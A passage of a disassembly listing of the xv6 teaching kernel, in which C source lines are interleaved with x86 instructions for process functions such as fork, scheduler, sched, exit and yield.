801042d0 <initlock> } 80103735: 83 c4 10 add $0x10,%esp 80103738: c9 leave 80103739: c3 ret 8010373a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103740 <mycpu>: { 80103740: 55 push %ebp 80103741: 89 e5 mov %esp,%ebp 80103743: 56 push %esi 80103744: 53 push %ebx asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103745: 9c pushf 80103746: 58 pop %eax if(readeflags()&FL_IF) 80103747: f6 c4 02 test $0x2,%ah 8010374a: 75 5e jne 801037aa <mycpu+0x6a> apicid = lapicid(); 8010374c: e8 df ef ff ff call 80102730 <lapicid> for (i = 0; i < ncpu; ++i) { 80103751: 8b 35 00 2d 11 80 mov 0x80112d00,%esi 80103757: 85 f6 test %esi,%esi 80103759: 7e 42 jle 8010379d <mycpu+0x5d> if (cpus[i].apicid == apicid) 8010375b: 0f b6 15 80 27 11 80 movzbl 0x80112780,%edx 80103762: 39 d0 cmp %edx,%eax 80103764: 74 30 je 80103796 <mycpu+0x56> 80103766: b9 30 28 11 80 mov $0x80112830,%ecx for (i = 0; i < ncpu; ++i) { 8010376b: 31 d2 xor %edx,%edx 8010376d: 8d 76 00 lea 0x0(%esi),%esi 80103770: 83 c2 01 add $0x1,%edx 80103773: 39 f2 cmp %esi,%edx 80103775: 74 26 je 8010379d <mycpu+0x5d> if (cpus[i].apicid == apicid) 80103777: 0f b6 19 movzbl (%ecx),%ebx 8010377a: 81 c1 b0 00 00 00 add $0xb0,%ecx 80103780: 39 c3 cmp %eax,%ebx 80103782: 75 ec jne 80103770 <mycpu+0x30> 80103784: 69 c2 b0 00 00 00 imul $0xb0,%edx,%eax 8010378a: 05 80 27 11 80 add $0x80112780,%eax } 8010378f: 8d 65 f8 lea -0x8(%ebp),%esp 80103792: 5b pop %ebx 80103793: 5e pop %esi 80103794: 5d pop %ebp 80103795: c3 ret if (cpus[i].apicid == apicid) 80103796: b8 80 27 11 80 mov $0x80112780,%eax return &cpus[i]; 8010379b: eb f2 jmp 8010378f <mycpu+0x4f> panic("unknown apicid\n"); 8010379d: 83 ec 0c sub $0xc,%esp 801037a0: 68 3c 75 10 80 push $0x8010753c 801037a5: e8 e6 cb ff ff call 80100390 <panic> panic("mycpu called with interrupts enabled\n"); 801037aa: 83 ec 0c sub $0xc,%esp 801037ad: 68 70 76 10 80 push $0x80107670 801037b2: e8 d9 cb ff ff call 80100390 <panic> 801037b7: 89 f6 mov %esi,%esi 801037b9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 801037c0 <cpuid>: cpuid() { 801037c0: 55 push %ebp 801037c1: 89 e5 mov %esp,%ebp 801037c3: 83 ec 08 sub $0x8,%esp return mycpu()-cpus; 801037c6: e8 75 ff ff ff call 80103740 <mycpu> 801037cb: 2d 80 27 11 80 sub $0x80112780,%eax } 801037d0: c9 leave return mycpu()-cpus; 801037d1: c1 f8 04 sar $0x4,%eax 801037d4: 69 c0 a3 8b 2e ba imul $0xba2e8ba3,%eax,%eax } 801037da: c3 ret 801037db: 90 nop 801037dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801037e0 <myproc>: myproc(void) { 801037e0: 55 push %ebp 801037e1: 89 e5 mov %esp,%ebp 801037e3: 53 push %ebx 801037e4: 83 ec 04 sub $0x4,%esp pushcli(); 801037e7: e8 54 0b 00 00 call 80104340 <pushcli> c = mycpu(); 801037ec: e8 4f ff ff ff call 80103740 <mycpu> p = c->proc; 801037f1: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 801037f7: e8 84 0b 00 00 call 80104380 <popcli> } 801037fc: 83 c4 04 add $0x4,%esp 801037ff: 89 d8 mov %ebx,%eax 80103801: 5b pop %ebx 80103802: 5d pop %ebp 80103803: c3 ret 80103804: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010380a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80103810 <userinit>: { 80103810: 55 push %ebp 80103811: 89 e5 mov %esp,%ebp 80103813: 53 push %ebx 80103814: 83 ec 04 sub $0x4,%esp p = allocproc(); 80103817: e8 e4 fd ff ff call 80103600 <allocproc> 8010381c: 89 c3 mov %eax,%ebx initproc = p; 8010381e: a3 b8 a5 10 80 mov %eax,0x8010a5b8 if((p->pgdir = setupkvm()) == 0) 80103823: e8 08 35 00 00 call 80106d30 <setupkvm> 80103828: 85 c0 test %eax,%eax 8010382a: 89 43 04 mov %eax,0x4(%ebx) 8010382d: 0f 84 bd 00 00 00 je 801038f0 <userinit+0xe0> inituvm(p->pgdir, _binary_initcode_start, (int)_binary_initcode_size); 80103833: 83 ec 04 sub $0x4,%esp 80103836: 68 2c 00 00 00 push $0x2c 8010383b: 68 60 a4 10 80 push $0x8010a460 80103840: 50 push %eax 80103841: e8 ca 31 00 00 call 80106a10 <inituvm> memset(p->tf, 0, sizeof(*p->tf)); 80103846: 83 c4 0c add $0xc,%esp p->sz = PGSIZE; 80103849: c7 03 00 10 00 00 movl $0x1000,(%ebx) memset(p->tf, 0, sizeof(*p->tf)); 8010384f: 6a 4c push $0x4c 80103851: 6a 00 push $0x0 80103853: ff 73 18 pushl 0x18(%ebx) 80103856: e8 c5 0c 00 00 call 80104520 <memset> p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010385b: 8b 43 18 mov 0x18(%ebx),%eax 8010385e: ba 1b 00 00 00 mov $0x1b,%edx p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 80103863: b9 23 00 00 00 mov $0x23,%ecx safestrcpy(p->name, "initcode", sizeof(p->name)); 80103868: 83 c4 0c add $0xc,%esp p->tf->cs = (SEG_UCODE << 3) | DPL_USER; 8010386b: 66 89 50 3c mov %dx,0x3c(%eax) p->tf->ds = (SEG_UDATA << 3) | DPL_USER; 8010386f: 8b 43 18 mov 0x18(%ebx),%eax 80103872: 66 89 48 2c mov %cx,0x2c(%eax) p->tf->es = p->tf->ds; 80103876: 8b 43 18 mov 0x18(%ebx),%eax 80103879: 0f b7 50 2c movzwl 0x2c(%eax),%edx 8010387d: 66 89 50 28 mov %dx,0x28(%eax) p->tf->ss = p->tf->ds; 80103881: 8b 43 18 mov 0x18(%ebx),%eax 80103884: 0f b7 50 2c movzwl 0x2c(%eax),%edx 80103888: 66 89 50 48 mov %dx,0x48(%eax) p->tf->eflags = FL_IF; 8010388c: 8b 43 18 mov 0x18(%ebx),%eax 8010388f: c7 40 40 00 02 00 00 movl $0x200,0x40(%eax) p->tf->esp = PGSIZE; 80103896: 8b 43 18 mov 0x18(%ebx),%eax 80103899: c7 40 44 00 10 00 00 movl $0x1000,0x44(%eax) p->tf->eip = 0; // beginning of initcode.S 801038a0: 8b 43 18 mov 0x18(%ebx),%eax 801038a3: c7 40 38 00 00 00 00 movl $0x0,0x38(%eax) safestrcpy(p->name, "initcode", sizeof(p->name)); 801038aa: 8d 43 6c lea 0x6c(%ebx),%eax 801038ad: 6a 10 push $0x10 801038af: 68 65 75 10 80 push $0x80107565 801038b4: 50 push %eax 801038b5: e8 46 0e 00 00 call 80104700 <safestrcpy> p->cwd = namei("/"); 801038ba: c7 04 24 6e 75 10 80 movl $0x8010756e,(%esp) 801038c1: e8 1a e6 ff ff call 80101ee0 <namei> 801038c6: 89 43 68 mov %eax,0x68(%ebx) acquire(&ptable.lock); 801038c9: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801038d0: e8 3b 0b 00 00 call 80104410 <acquire> p->state = RUNNABLE; 801038d5: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) release(&ptable.lock); 801038dc: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 801038e3: e8 e8 0b 00 00 call 801044d0 <release> } 801038e8: 83 c4 10 add $0x10,%esp 801038eb: 8b 5d fc mov -0x4(%ebp),%ebx 801038ee: c9 leave 801038ef: c3 ret panic("userinit: out of memory?"); 801038f0: 83 ec 0c sub $0xc,%esp 801038f3: 68 4c 75 10 80 push $0x8010754c 801038f8: e8 93 ca ff ff call 80100390 <panic> 801038fd: 8d 76 00 lea 0x0(%esi),%esi 80103900 <growproc>: { 80103900: 55 push %ebp 80103901: 89 e5 mov %esp,%ebp 80103903: 56 push %esi 80103904: 53 push %ebx 80103905: 8b 75 08 mov 0x8(%ebp),%esi pushcli(); 80103908: e8 33 0a 00 00 call 80104340 <pushcli> c = mycpu(); 8010390d: e8 2e fe ff ff call 80103740 <mycpu> p = c->proc; 80103912: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103918: e8 63 0a 00 00 call 80104380 <popcli> if(n > 0){ 8010391d: 83 fe 00 cmp $0x0,%esi sz = curproc->sz; 80103920: 8b 03 mov (%ebx),%eax if(n > 0){ 80103922: 7f 1c jg 80103940 <growproc+0x40> } else if(n < 0){ 80103924: 75 3a jne 80103960 <growproc+0x60> switchuvm(curproc); 80103926: 83 ec 0c sub $0xc,%esp curproc->sz = sz; 80103929: 89 03 mov %eax,(%ebx) switchuvm(curproc); 8010392b: 53 push %ebx 8010392c: e8 cf 2f 00 00 call 80106900 <switchuvm> return 0; 80103931: 83 c4 10 add $0x10,%esp 80103934: 31 c0 xor %eax,%eax } 80103936: 8d 65 f8 lea -0x8(%ebp),%esp 80103939: 5b pop %ebx 8010393a: 5e pop %esi 8010393b: 5d pop %ebp 8010393c: c3 ret 8010393d: 8d 76 00 lea 0x0(%esi),%esi if((sz = allocuvm(curproc->pgdir, sz, sz + n)) == 0) 80103940: 83 ec 04 sub $0x4,%esp 80103943: 01 c6 add %eax,%esi 80103945: 56 push %esi 80103946: 50 push %eax 80103947: ff 73 04 pushl 0x4(%ebx) 8010394a: e8 01 32 00 00 call 80106b50 <allocuvm> 8010394f: 83 c4 10 add $0x10,%esp 80103952: 85 c0 test %eax,%eax 80103954: 75 d0 jne 80103926 <growproc+0x26> return -1; 80103956: b8 ff ff ff ff mov $0xffffffff,%eax 8010395b: eb d9 jmp 80103936 <growproc+0x36> 8010395d: 8d 76 00 lea 0x0(%esi),%esi if((sz = deallocuvm(curproc->pgdir, sz, sz + n)) == 0) 80103960: 83 ec 04 sub $0x4,%esp 80103963: 01 c6 add %eax,%esi 80103965: 56 push %esi 80103966: 50 push %eax 80103967: ff 73 04 pushl 0x4(%ebx) 8010396a: e8 11 33 00 00 call 80106c80 <deallocuvm> 8010396f: 83 c4 10 add $0x10,%esp 80103972: 85 c0 test %eax,%eax 80103974: 75 b0 jne 80103926 <growproc+0x26> 80103976: eb de jmp 80103956 <growproc+0x56> 80103978: 90 nop 80103979: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103980 <fork>: { 80103980: 55 push %ebp 80103981: 89 e5 mov %esp,%ebp 80103983: 57 push %edi 80103984: 56 push %esi 80103985: 53 push %ebx 80103986: 83 ec 1c sub $0x1c,%esp pushcli(); 80103989: e8 b2 09 00 00 call 80104340 <pushcli> c = mycpu(); 8010398e: e8 ad fd ff ff call 80103740 <mycpu> p = c->proc; 80103993: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103999: e8 e2 09 00 00 call 80104380 <popcli> if((np = allocproc()) == 0){ 8010399e: e8 5d fc ff ff call 80103600 <allocproc> 801039a3: 85 c0 test %eax,%eax 801039a5: 89 45 e4 mov %eax,-0x1c(%ebp) 801039a8: 0f 84 b7 00 00 00 je 80103a65 <fork+0xe5> if((np->pgdir = copyuvm(curproc->pgdir, curproc->sz)) == 0){ 801039ae: 83 ec 08 sub $0x8,%esp 801039b1: ff 33 pushl (%ebx) 801039b3: ff 73 04 pushl 0x4(%ebx) 801039b6: 89 c7 mov %eax,%edi 801039b8: e8 43 34 00 00 call 80106e00 <copyuvm> 801039bd: 83 c4 10 add $0x10,%esp 801039c0: 85 c0 test %eax,%eax 801039c2: 89 47 04 mov %eax,0x4(%edi) 801039c5: 0f 84 a1 00 00 00 je 80103a6c <fork+0xec> np->sz = curproc->sz; 801039cb: 8b 03 mov (%ebx),%eax 801039cd: 8b 4d e4 mov -0x1c(%ebp),%ecx 801039d0: 89 01 mov %eax,(%ecx) np->parent = curproc; 801039d2: 89 59 14 mov %ebx,0x14(%ecx) 801039d5: 89 c8 mov %ecx,%eax *np->tf = *curproc->tf; 801039d7: 8b 79 18 mov 0x18(%ecx),%edi 801039da: 8b 73 18 mov 0x18(%ebx),%esi 801039dd: b9 13 00 00 00 mov $0x13,%ecx 801039e2: f3 a5 rep movsl %ds:(%esi),%es:(%edi) for(i = 0; i < NOFILE; i++) 801039e4: 31 f6 xor %esi,%esi np->tf->eax = 0; 801039e6: 8b 40 18 mov 0x18(%eax),%eax 801039e9: c7 40 1c 00 00 00 00 movl $0x0,0x1c(%eax) if(curproc->ofile[i]) 801039f0: 8b 44 b3 28 mov 0x28(%ebx,%esi,4),%eax 801039f4: 85 c0 test %eax,%eax 801039f6: 74 13 je 80103a0b <fork+0x8b> np->ofile[i] = filedup(curproc->ofile[i]); 801039f8: 83 ec 0c sub $0xc,%esp 801039fb: 50 push %eax 801039fc: e8 ef d3 ff ff call 80100df0 <filedup> 80103a01: 8b 55 e4 mov -0x1c(%ebp),%edx 80103a04: 83 c4 10 add $0x10,%esp 80103a07: 89 44 b2 28 mov %eax,0x28(%edx,%esi,4) for(i = 0; i < NOFILE; i++) 80103a0b: 83 c6 01 add $0x1,%esi 80103a0e: 83 fe 10 cmp $0x10,%esi 80103a11: 75 dd jne 801039f0 <fork+0x70> np->cwd = idup(curproc->cwd); 80103a13: 83 ec 0c sub $0xc,%esp 80103a16: ff 73 68 pushl 0x68(%ebx) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 80103a19: 83 c3 6c add $0x6c,%ebx np->cwd = idup(curproc->cwd); 80103a1c: e8 2f dc ff ff call 80101650 <idup> 80103a21: 8b 7d e4 mov -0x1c(%ebp),%edi safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 80103a24: 83 c4 0c add $0xc,%esp np->cwd = idup(curproc->cwd); 80103a27: 89 47 68 mov %eax,0x68(%edi) safestrcpy(np->name, curproc->name, sizeof(curproc->name)); 80103a2a: 8d 47 6c lea 0x6c(%edi),%eax 80103a2d: 6a 10 push $0x10 80103a2f: 53 push %ebx 80103a30: 50 push %eax 80103a31: e8 ca 0c 00 00 call 80104700 <safestrcpy> pid = np->pid; 80103a36: 8b 5f 10 mov 0x10(%edi),%ebx acquire(&ptable.lock); 80103a39: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103a40: e8 cb 09 00 00 call 80104410 <acquire> np->state = RUNNABLE; 80103a45: c7 47 0c 03 00 00 00 movl $0x3,0xc(%edi) release(&ptable.lock); 80103a4c: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103a53: e8 78 0a 00 00 call 801044d0 <release> return pid; 80103a58: 83 c4 10 add $0x10,%esp } 80103a5b: 8d 65 f4 lea -0xc(%ebp),%esp 80103a5e: 89 d8 mov %ebx,%eax 80103a60: 5b pop %ebx 80103a61: 5e pop %esi 80103a62: 5f pop %edi 80103a63: 5d pop %ebp 80103a64: c3 ret return -1; 80103a65: bb ff ff ff ff mov $0xffffffff,%ebx 80103a6a: eb ef jmp 80103a5b <fork+0xdb> kfree(np->kstack); 80103a6c: 8b 5d e4 mov -0x1c(%ebp),%ebx 80103a6f: 83 ec 0c sub $0xc,%esp 80103a72: ff 73 08 pushl 0x8(%ebx) 80103a75: e8 96 e8 ff ff call 80102310 <kfree> np->kstack = 0; 80103a7a: c7 43 08 00 00 00 00 movl $0x0,0x8(%ebx) np->state = UNUSED; 80103a81: c7 43 0c 00 00 00 00 movl $0x0,0xc(%ebx) return -1; 80103a88: 83 c4 10 add $0x10,%esp 80103a8b: bb ff ff ff ff mov $0xffffffff,%ebx 80103a90: eb c9 jmp 80103a5b <fork+0xdb> 80103a92: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80103a99: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103aa0 <scheduler>: { 80103aa0: 55 push %ebp 80103aa1: 89 e5 mov %esp,%ebp 80103aa3: 57 push %edi 80103aa4: 56 push %esi 80103aa5: 53 push %ebx 80103aa6: 83 ec 0c sub $0xc,%esp struct cpu *c = mycpu(); 80103aa9: e8 92 fc ff ff call 80103740 <mycpu> 80103aae: 8d 78 04 lea 0x4(%eax),%edi 80103ab1: 89 c6 mov %eax,%esi c->proc = 0; 80103ab3: c7 80 ac 00 00 00 00 movl $0x0,0xac(%eax) 80103aba: 00 00 00 80103abd: 8d 76 00 lea 0x0(%esi),%esi asm volatile("sti"); 80103ac0: fb sti acquire(&ptable.lock); 80103ac1: 83 ec 0c sub $0xc,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103ac4: bb 54 2d 11 80 mov $0x80112d54,%ebx acquire(&ptable.lock); 80103ac9: 68 20 2d 11 80 push $0x80112d20 80103ace: e8 3d 09 00 00 call 80104410 <acquire> 80103ad3: 83 c4 10 add $0x10,%esp 80103ad6: 8d 76 00 lea 0x0(%esi),%esi 80103ad9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi if(p->state != RUNNABLE) 80103ae0: 83 7b 0c 03 cmpl $0x3,0xc(%ebx) 80103ae4: 75 33 jne 80103b19 <scheduler+0x79> switchuvm(p); 80103ae6: 83 ec 0c sub $0xc,%esp c->proc = p; 80103ae9: 89 9e ac 00 00 00 mov %ebx,0xac(%esi) switchuvm(p); 80103aef: 53 push %ebx 80103af0: e8 0b 2e 00 00 call 80106900 <switchuvm> swtch(&(c->scheduler), p->context); 80103af5: 58 pop %eax 80103af6: 5a pop %edx 80103af7: ff 73 1c pushl 0x1c(%ebx) 80103afa: 57 push %edi p->state = RUNNING; 80103afb: c7 43 0c 04 00 00 00 movl $0x4,0xc(%ebx) swtch(&(c->scheduler), p->context); 80103b02: e8 54 0c 00 00 call 8010475b <swtch> switchkvm(); 80103b07: e8 d4 2d 00 00 call 801068e0 <switchkvm> c->proc = 0; 80103b0c: c7 86 ac 00 00 00 00 movl $0x0,0xac(%esi) 80103b13: 00 00 00 80103b16: 83 c4 10 add $0x10,%esp for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103b19: 83 c3 7c add $0x7c,%ebx 80103b1c: 81 fb 54 4c 11 80 cmp $0x80114c54,%ebx 80103b22: 72 bc jb 80103ae0 <scheduler+0x40> release(&ptable.lock); 80103b24: 83 ec 0c sub $0xc,%esp 80103b27: 68 20 2d 11 80 push $0x80112d20 80103b2c: e8 9f 09 00 00 call 801044d0 <release> sti(); 80103b31: 83 c4 10 add $0x10,%esp 80103b34: eb 8a jmp 80103ac0 <scheduler+0x20> 80103b36: 8d 76 00 lea 0x0(%esi),%esi 80103b39: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103b40 <sched>: { 80103b40: 55 push %ebp 80103b41: 89 e5 mov %esp,%ebp 80103b43: 56 push %esi 80103b44: 53 push %ebx pushcli(); 80103b45: e8 f6 07 00 00 call 80104340 <pushcli> c = mycpu(); 80103b4a: e8 f1 fb ff ff call 80103740 <mycpu> p = c->proc; 80103b4f: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103b55: e8 26 08 00 00 call 80104380 <popcli> if(!holding(&ptable.lock)) 80103b5a: 83 ec 0c sub $0xc,%esp 80103b5d: 68 20 2d 11 80 push $0x80112d20 80103b62: e8 79 08 00 00 call 801043e0 <holding> 80103b67: 83 c4 10 add $0x10,%esp 80103b6a: 85 c0 test %eax,%eax 80103b6c: 74 4f je 80103bbd <sched+0x7d> if(mycpu()->ncli != 1) 80103b6e: e8 cd fb ff ff call 80103740 <mycpu> 80103b73: 83 b8 a4 00 00 00 01 cmpl $0x1,0xa4(%eax) 80103b7a: 75 68 jne 80103be4 <sched+0xa4> if(p->state == RUNNING) 80103b7c: 83 7b 0c 04 cmpl $0x4,0xc(%ebx) 80103b80: 74 55 je 80103bd7 <sched+0x97> asm volatile("pushfl; popl %0" : "=r" (eflags)); 80103b82: 9c pushf 80103b83: 58 pop %eax if(readeflags()&FL_IF) 80103b84: f6 c4 02 test $0x2,%ah 80103b87: 75 41 jne 80103bca <sched+0x8a> intena = mycpu()->intena; 80103b89: e8 b2 fb ff ff call 80103740 <mycpu> swtch(&p->context, mycpu()->scheduler); 80103b8e: 83 c3 1c add $0x1c,%ebx intena = mycpu()->intena; 80103b91: 8b b0 a8 00 00 00 mov 0xa8(%eax),%esi swtch(&p->context, mycpu()->scheduler); 80103b97: e8 a4 fb ff ff call 80103740 <mycpu> 80103b9c: 83 ec 08 sub $0x8,%esp 80103b9f: ff 70 04 pushl 0x4(%eax) 80103ba2: 53 push %ebx 80103ba3: e8 b3 0b 00 00 call 8010475b <swtch> mycpu()->intena = intena; 80103ba8: e8 93 fb ff ff call 80103740 <mycpu> } 80103bad: 83 c4 10 add $0x10,%esp mycpu()->intena = intena; 80103bb0: 89 b0 a8 00 00 00 mov %esi,0xa8(%eax) } 80103bb6: 8d 65 f8 lea -0x8(%ebp),%esp 80103bb9: 5b pop %ebx 80103bba: 5e pop %esi 80103bbb: 5d pop %ebp 80103bbc: c3 ret panic("sched ptable.lock"); 80103bbd: 83 ec 0c sub $0xc,%esp 80103bc0: 68 70 75 10 80 push $0x80107570 80103bc5: e8 c6 c7 ff ff call 80100390 <panic> panic("sched interruptible"); 80103bca: 83 ec 0c sub $0xc,%esp 80103bcd: 68 9c 75 10 80 push $0x8010759c 80103bd2: e8 b9 c7 ff ff call 80100390 <panic> panic("sched running"); 80103bd7: 83 ec 0c sub $0xc,%esp 80103bda: 68 8e 75 10 80 push $0x8010758e 80103bdf: e8 ac c7 ff ff call 80100390 <panic> panic("sched locks"); 80103be4: 83 ec 0c sub $0xc,%esp 80103be7: 68 82 75 10 80 push $0x80107582 80103bec: e8 9f c7 ff ff call 80100390 <panic> 80103bf1: eb 0d jmp 80103c00 <exit> 80103bf3: 90 nop 80103bf4: 90 nop 80103bf5: 90 nop 80103bf6: 90 nop 80103bf7: 90 nop 80103bf8: 90 nop 80103bf9: 90 nop 80103bfa: 90 nop 80103bfb: 90 nop 80103bfc: 90 nop 80103bfd: 90 nop 80103bfe: 90 nop 80103bff: 90 nop 80103c00 <exit>: { 80103c00: 55 push %ebp 80103c01: 89 e5 mov %esp,%ebp 80103c03: 57 push %edi 80103c04: 56 push %esi 80103c05: 53 push %ebx 80103c06: 83 ec 0c sub $0xc,%esp pushcli(); 80103c09: e8 32 07 00 00 call 80104340 <pushcli> c = mycpu(); 80103c0e: e8 2d fb ff ff call 80103740 <mycpu> p = c->proc; 80103c13: 8b b0 ac 00 00 00 mov 0xac(%eax),%esi popcli(); 80103c19: e8 62 07 00 00 call 80104380 <popcli> if(curproc == initproc) 80103c1e: 39 35 b8 a5 10 80 cmp %esi,0x8010a5b8 80103c24: 8d 5e 28 lea 0x28(%esi),%ebx 80103c27: 8d 7e 68 lea 0x68(%esi),%edi 80103c2a: 0f 84 e7 00 00 00 je 80103d17 <exit+0x117> if(curproc->ofile[fd]){ 80103c30: 8b 03 mov (%ebx),%eax 80103c32: 85 c0 test %eax,%eax 80103c34: 74 12 je 80103c48 <exit+0x48> fileclose(curproc->ofile[fd]); 80103c36: 83 ec 0c sub $0xc,%esp 80103c39: 50 push %eax 80103c3a: e8 01 d2 ff ff call 80100e40 <fileclose> curproc->ofile[fd] = 0; 80103c3f: c7 03 00 00 00 00 movl $0x0,(%ebx) 80103c45: 83 c4 10 add $0x10,%esp 80103c48: 83 c3 04 add $0x4,%ebx for(fd = 0; fd < NOFILE; fd++){ 80103c4b: 39 fb cmp %edi,%ebx 80103c4d: 75 e1 jne 80103c30 <exit+0x30> begin_op(); 80103c4f: e8 4c ef ff ff call 80102ba0 <begin_op> iput(curproc->cwd); 80103c54: 83 ec 0c sub $0xc,%esp 80103c57: ff 76 68 pushl 0x68(%esi) 80103c5a: e8 51 db ff ff call 801017b0 <iput> end_op(); 80103c5f: e8 ac ef ff ff call 80102c10 <end_op> curproc->cwd = 0; 80103c64: c7 46 68 00 00 00 00 movl $0x0,0x68(%esi) acquire(&ptable.lock); 80103c6b: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103c72: e8 99 07 00 00 call 80104410 <acquire> wakeup1(curproc->parent); 80103c77: 8b 56 14 mov 0x14(%esi),%edx 80103c7a: 83 c4 10 add $0x10,%esp static void wakeup1(void *chan) { struct proc *p; for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103c7d: b8 54 2d 11 80 mov $0x80112d54,%eax 80103c82: eb 0e jmp 80103c92 <exit+0x92> 80103c84: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103c88: 83 c0 7c add $0x7c,%eax 80103c8b: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103c90: 73 1c jae 80103cae <exit+0xae> if(p->state == SLEEPING && p->chan == chan) 80103c92: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103c96: 75 f0 jne 80103c88 <exit+0x88> 80103c98: 3b 50 20 cmp 0x20(%eax),%edx 80103c9b: 75 eb jne 80103c88 <exit+0x88> p->state = RUNNABLE; 80103c9d: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103ca4: 83 c0 7c add $0x7c,%eax 80103ca7: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103cac: 72 e4 jb 80103c92 <exit+0x92> p->parent = initproc; 80103cae: 8b 0d b8 a5 10 80 mov 0x8010a5b8,%ecx for(p = ptable.proc; p < &ptable.proc[NPROC]; p++){ 80103cb4: ba 54 2d 11 80 mov $0x80112d54,%edx 80103cb9: eb 10 jmp 80103ccb <exit+0xcb> 80103cbb: 90 nop 80103cbc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80103cc0: 83 c2 7c add $0x7c,%edx 80103cc3: 81 fa 54 4c 11 80 cmp $0x80114c54,%edx 80103cc9: 73 33 jae 80103cfe <exit+0xfe> if(p->parent == curproc){ 80103ccb: 39 72 14 cmp %esi,0x14(%edx) 80103cce: 75 f0 jne 80103cc0 <exit+0xc0> if(p->state == ZOMBIE) 80103cd0: 83 7a 0c 05 cmpl $0x5,0xc(%edx) p->parent = initproc; 80103cd4: 89 4a 14 mov %ecx,0x14(%edx) if(p->state == ZOMBIE) 80103cd7: 75 e7 jne 80103cc0 <exit+0xc0> for(p = ptable.proc; p < &ptable.proc[NPROC]; p++) 80103cd9: b8 54 2d 11 80 mov $0x80112d54,%eax 80103cde: eb 0a jmp 80103cea <exit+0xea> 80103ce0: 83 c0 7c add $0x7c,%eax 80103ce3: 3d 54 4c 11 80 cmp $0x80114c54,%eax 80103ce8: 73 d6 jae 80103cc0 <exit+0xc0> if(p->state == SLEEPING && p->chan == chan) 80103cea: 83 78 0c 02 cmpl $0x2,0xc(%eax) 80103cee: 75 f0 jne 80103ce0 <exit+0xe0> 80103cf0: 3b 48 20 cmp 0x20(%eax),%ecx 80103cf3: 75 eb jne 80103ce0 <exit+0xe0> p->state = RUNNABLE; 80103cf5: c7 40 0c 03 00 00 00 movl $0x3,0xc(%eax) 80103cfc: eb e2 jmp 80103ce0 <exit+0xe0> curproc->state = ZOMBIE; 80103cfe: c7 46 0c 05 00 00 00 movl $0x5,0xc(%esi) sched(); 80103d05: e8 36 fe ff ff call 80103b40 <sched> panic("zombie exit"); 80103d0a: 83 ec 0c sub $0xc,%esp 80103d0d: 68 bd 75 10 80 push $0x801075bd 80103d12: e8 79 c6 ff ff call 80100390 <panic> panic("init exiting"); 80103d17: 83 ec 0c sub $0xc,%esp 80103d1a: 68 b0 75 10 80 push $0x801075b0 80103d1f: e8 6c c6 ff ff call 80100390 <panic> 80103d24: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80103d2a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80103d30 <yield>: { 80103d30: 55 push %ebp 80103d31: 89 e5 mov %esp,%ebp 80103d33: 53 push %ebx 80103d34: 83 ec 10 sub $0x10,%esp acquire(&ptable.lock); //DOC: yieldlock 80103d37: 68 20 2d 11 80 push $0x80112d20 80103d3c: e8 cf 06 00 00 call 80104410 <acquire> pushcli(); 80103d41: e8 fa 05 00 00 call 80104340 <pushcli> c = mycpu(); 80103d46: e8 f5 f9 ff ff call 80103740 <mycpu> p = c->proc; 80103d4b: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103d51: e8 2a 06 00 00 call 80104380 <popcli> myproc()->state = RUNNABLE; 80103d56: c7 43 0c 03 00 00 00 movl $0x3,0xc(%ebx) sched(); 80103d5d: e8 de fd ff ff call 80103b40 <sched> release(&ptable.lock); 80103d62: c7 04 24 20 2d 11 80 movl $0x80112d20,(%esp) 80103d69: e8 62 07 00 00 call 801044d0 <release> } 80103d6e: 83 c4 10 add $0x10,%esp 80103d71: 8b 5d fc mov -0x4(%ebp),%ebx 80103d74: c9 leave 80103d75: c3 ret 80103d76: 8d 76 00 lea 0x0(%esi),%esi 80103d79: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80103d80 <sleep>: { 80103d80: 55 push %ebp 80103d81: 89 e5 mov %esp,%ebp 80103d83: 57 push %edi 80103d84: 56 push %esi 80103d85: 53 push %ebx 80103d86: 83 ec 0c sub $0xc,%esp 80103d89: 8b 7d 08 mov 0x8(%ebp),%edi 80103d8c: 8b 75 0c mov 0xc(%ebp),%esi pushcli(); 80103d8f: e8 ac 05 00 00 call 80104340 <pushcli> c = mycpu(); 80103d94: e8 a7 f9 ff ff call 80103740 <mycpu> p = c->proc; 80103d99: 8b 98 ac 00 00 00 mov 0xac(%eax),%ebx popcli(); 80103d9f: e8 